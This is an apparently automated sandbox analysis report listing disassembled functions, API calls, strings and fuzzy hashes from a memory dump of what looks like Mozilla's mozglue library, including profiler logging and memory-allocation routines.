memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C65B61E), ref: 6C65B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B79A

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: b6f95eb9980117f64b0a6e82c9f44ffb228db0619a477cfe8d4454a6a340f864
Instruction ID: 25f7ad8c1ce3fb9c4c211db8e93f4453b592f1bf7e2131b02846affe1d512b41
Opcode Fuzzy Hash: b6f95eb9980117f64b0a6e82c9f44ffb228db0619a477cfe8d4454a6a340f864
Instruction Fuzzy Hash: 5C41D5B2D001159FCB04DF68DC806AFB7B5FF85324F650669E825E7780E731A9148BE9

Function 6C654DE0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C654E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C654E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C654EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C654F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C654F1E

Strings

a.8/, xrefs: 6C654DF6

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID: a.8/
API String ID: 713647276-2801666753
Opcode ID: 52175f95d4ea3090ad09e7d1fb6a04a335b1bba66f3e2ef145f8db46a4b08874
Instruction ID: fa9019ae94530c368e15ab28f76c0ca6e05641a3aa38c6ac439540feb09e902e
Opcode Fuzzy Hash: 52175f95d4ea3090ad09e7d1fb6a04a335b1bba66f3e2ef145f8db46a4b08874
Instruction Fuzzy Hash: 8C41F0716087019FC701CF29C8809ABB7E4BF8A344F608A5DF56687640DBB1E935CB85

Function 6C68F440 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C68F480

Part of subcall function 6C65F100: LoadLibraryW.KERNEL32(shell32,?,6C6CD020), ref: 6C65F122
Part of subcall function 6C65F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C65F132

CloseHandle.KERNEL32(00000000), ref: 6C68F555

Part of subcall function 6C6614B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C661248,6C661248,?), ref: 6C6614C9
Part of subcall function 6C6614B0: memcpy.VCRUNTIME140(?,6C661248,00000000,?,6C661248,?), ref: 6C6614EF

Part of subcall function 6C65EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C65EEE3

CreateFileW.KERNEL32 ref: 6C68F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C68F523

Strings

a.8/, xrefs: 6C68F44E
\oleacc.dll, xrefs: 6C68F4CB

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll$a.8/
API String ID: 2595878907-1320504756
Opcode ID: e7e48814ea99a76f411752119c71c55213dd58cbadc32e0fce5a34836752ec9b
Instruction ID: 0d1bc788e9566150df40bd87b32a434fe4a46e126bf0021ca286a0276173a7db
Opcode Fuzzy Hash: e7e48814ea99a76f411752119c71c55213dd58cbadc32e0fce5a34836752ec9b
Instruction Fuzzy Hash: 4541BF706097109FE720DF29D884A9BB7F4AF95318F504A1CF59083690EB70E949CBAB

Function 6C6BAD70 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAD9D

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAE01
GetLastError.KERNEL32(?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAE3D

Strings

a.8/, xrefs: 6C6BAD7D

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID: a.8/
API String ID: 3161513745-2801666753
Opcode ID: 0f21de2af0562fbe7cdfc5f35f1760c945e4117e18b0c4ae4a851e01653c96bd
Instruction ID: 4eb5dd445afc357e947c968c0e77c1b944aa70b059dce956206679de5e0986f5
Opcode Fuzzy Hash: 0f21de2af0562fbe7cdfc5f35f1760c945e4117e18b0c4ae4a851e01653c96bd
Instruction Fuzzy Hash: FB3164B1A002159FDB10DF7A8C44AABB7F8EF49714F15482DE94AE7700E734E815CBA9

Function 6C6984E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6984F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6985AC

Part of subcall function 6C697670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69767F
Part of subcall function 6C697670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C697693
Part of subcall function 6C697670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C6985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6976A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6985B2

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 983fe677dbbdfd636f57bc4bf4f18da6e73b00731ded2bd3697c35bd201452d4
Instruction ID: b02f8cc00a9fe643691ff8c2603e189c6edef795f28809ea080049c642b51048
Opcode Fuzzy Hash: 983fe677dbbdfd636f57bc4bf4f18da6e73b00731ded2bd3697c35bd201452d4
Instruction Fuzzy Hash: 7D218E742006029FDB14DF29C888A5AB7B5AF8930CF24492DE55BC3B51EB31F949CB59

Function 6C6B6E50 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C6B6E78

Part of subcall function 6C6B6A10: InitializeCriticalSection.KERNEL32(6C6DF618), ref: 6C6B6A68
Part of subcall function 6C6B6A10: GetCurrentProcess.KERNEL32 ref: 6C6B6A7D
Part of subcall function 6C6B6A10: GetCurrentProcess.KERNEL32 ref: 6C6B6AA1
Part of subcall function 6C6B6A10: EnterCriticalSection.KERNEL32(6C6DF618), ref: 6C6B6AAE
Part of subcall function 6C6B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C6B6AE1
Part of subcall function 6C6B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C6B6B15
Part of subcall function 6C6B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C6B6B65
Part of subcall function 6C6B6A10: LeaveCriticalSection.KERNEL32(6C6DF618,?,?), ref: 6C6B6B83

MozFormatCodeAddress.MOZGLUE ref: 6C6B6EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C6B6EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C6B6EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C6B6EFF

Strings

a.8/, xrefs: 6C6B6E5F

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID: a.8/
API String ID: 4058739482-2801666753
Opcode ID: 52868295192b0fefc6acc7cb5db6232ecb037373e40537bb9ebe56d2a2dce9ae
Instruction ID: 7a861fe4b3ce47c9d7d0582b0418f171e1b28da3ad38869fc556fbcb7c811e64
Opcode Fuzzy Hash: 52868295192b0fefc6acc7cb5db6232ecb037373e40537bb9ebe56d2a2dce9ae
Instruction Fuzzy Hash: 9F21A471A042199FDF04CF69D8C569E77F9EF89308F044039E809A7241DB70AA59CF96

Function 6C69F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C69F598), ref: 6C69F621

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69F637
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000,?,6C69F598), ref: 6C69F645
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000,?,6C69F598), ref: 6C69F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C69F62A

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: e2d03c83da65c5bc3704851d928221812889342721b3c5fc36cc22143e4ac105
Instruction ID: 0bd65e644daed088f08fe6fcc9a834646c2bc799f70e34fbc658b7f133535696
Opcode Fuzzy Hash: e2d03c83da65c5bc3704851d928221812889342721b3c5fc36cc22143e4ac105
Instruction Fuzzy Hash: 4D119175201206ABCB44AF5AC8889A97779FFC6759F550416FA0583F01CB71B812CBAE

Function 6C6B76C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C6B76F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C6B7705

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C6B7717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C6B778F,00000000,00000000,00000000,00000000), ref: 6C6B7731
free.MOZGLUE(00000000), ref: 6C6B7760

Strings

}>il, xrefs: 6C6B76C4

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>il
API String ID: 2538299546-1725928026
Opcode ID: 2195319edaf78c9abde5db2944dedad8b5fbb5b4cca38b54291dd1d8e3d53320
Instruction ID: 69dadac1c372adee9e4d185efa5b35e7bcfef7ba5702c5b4d1b166416e3f892e
Opcode Fuzzy Hash: 2195319edaf78c9abde5db2944dedad8b5fbb5b4cca38b54291dd1d8e3d53320
Instruction Fuzzy Hash: C811C4B19042156BE710AF7A9C44BABBEE8EF46354F044439F848E7300E7709850C7F6

Function 6C660EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C68D9F0,00000000), ref: 6C660F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C660F3C
__Init_thread_footer.LIBCMT ref: 6C660F50
FreeLibrary.KERNEL32(?,6C68D9F0,00000000), ref: 6C660F86

Strings

CoInitializeEx, xrefs: 6C660F36
combase.dll, xrefs: 6C660F18

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 3aea649bdf82269b74aab9dc918a159452dd4dc8024e20fc0460376b7e1b97a9
Instruction ID: 3142b6849d6ec6b95381f9596ef0e0d97da1d837e232cb8c17506ce709f15651
Opcode Fuzzy Hash: 3aea649bdf82269b74aab9dc918a159452dd4dc8024e20fc0460376b7e1b97a9
Instruction Fuzzy Hash: F311C6743152419BDF10CF57C988A493774E79B325F004629ED0583B41D772B401CA5F

Function 6C69F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F561

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69F577
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F585
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F5A3

Strings

a.8/, xrefs: 6C69F07C, 6C69F1BA, 6C69F32A, 6C69F41A
[I %d/%d] profiler_pause_sampling, xrefs: 6C69F3A8
[I %d/%d] profiler_resume_sampling, xrefs: 6C69F499
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C69F56A
[I %d/%d] profiler_resume, xrefs: 6C69F239

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling$a.8/
API String ID: 2848912005-677034394
Opcode ID: ddaf6f8b125b3f6f6eed465e4a80a9166bf3288553cff3e0002d544b284c5598
Instruction ID: c3c579bf121b4f29216cc944803579b568ea5ae6b2b9047ff900d25c0825af38
Opcode Fuzzy Hash: ddaf6f8b125b3f6f6eed465e4a80a9166bf3288553cff3e0002d544b284c5598
Instruction Fuzzy Hash: 82F0B4752002059FDB006F669C8895E77BDEFCA29EF010415FA0583706CF31A801876E

Function 6C660E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C660DF8), ref: 6C660E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C660EA1
__Init_thread_footer.LIBCMT ref: 6C660EB5
FreeLibrary.KERNEL32 ref: 6C660EC5

Strings

kernel32.dll, xrefs: 6C660E7D
GetProcessMitigationPolicy, xrefs: 6C660E9B

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: e11fd40302de7fece80d3faaaf52c34881f3f9f852b453f3802d9b70b70de60d
Instruction ID: 04721a74647996172587f100570ada726f5cd43541baddcb8b94d007b7167caf
Opcode Fuzzy Hash: e11fd40302de7fece80d3faaaf52c34881f3f9f852b453f3802d9b70b70de60d
Instruction Fuzzy Hash: 720146747003928BDF008FABEA94BE233B5E746759F104525EA0182F84DB74B406CA1F

Function 6C69F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C69F598), ref: 6C69F621

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69F637
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000,?,6C69F598), ref: 6C69F645
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000,?,6C69F598), ref: 6C69F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C69F62A

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: ac30b7a3da0f63cb2ecde626f544fcda8337d725f7d8c642dc04f256e4dc61ae
Instruction ID: 0ca6b029334713368cae37ce8458285ea3134e2d024130434b58c9ec30fc0ab5
Opcode Fuzzy Hash: ac30b7a3da0f63cb2ecde626f544fcda8337d725f7d8c642dc04f256e4dc61ae
Instruction Fuzzy Hash: FFF05475200205AFDF006F668C8895A777DEFCA29DF150415FA0583746DB756806876E

Function 6C6905F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C68CFAE,?,?,?,6C6531A7), ref: 6C6905FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C68CFAE,?,?,?,6C6531A7), ref: 6C690616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C6531A7), ref: 6C69061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C6531A7), ref: 6C690627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C69061B, 6C690625
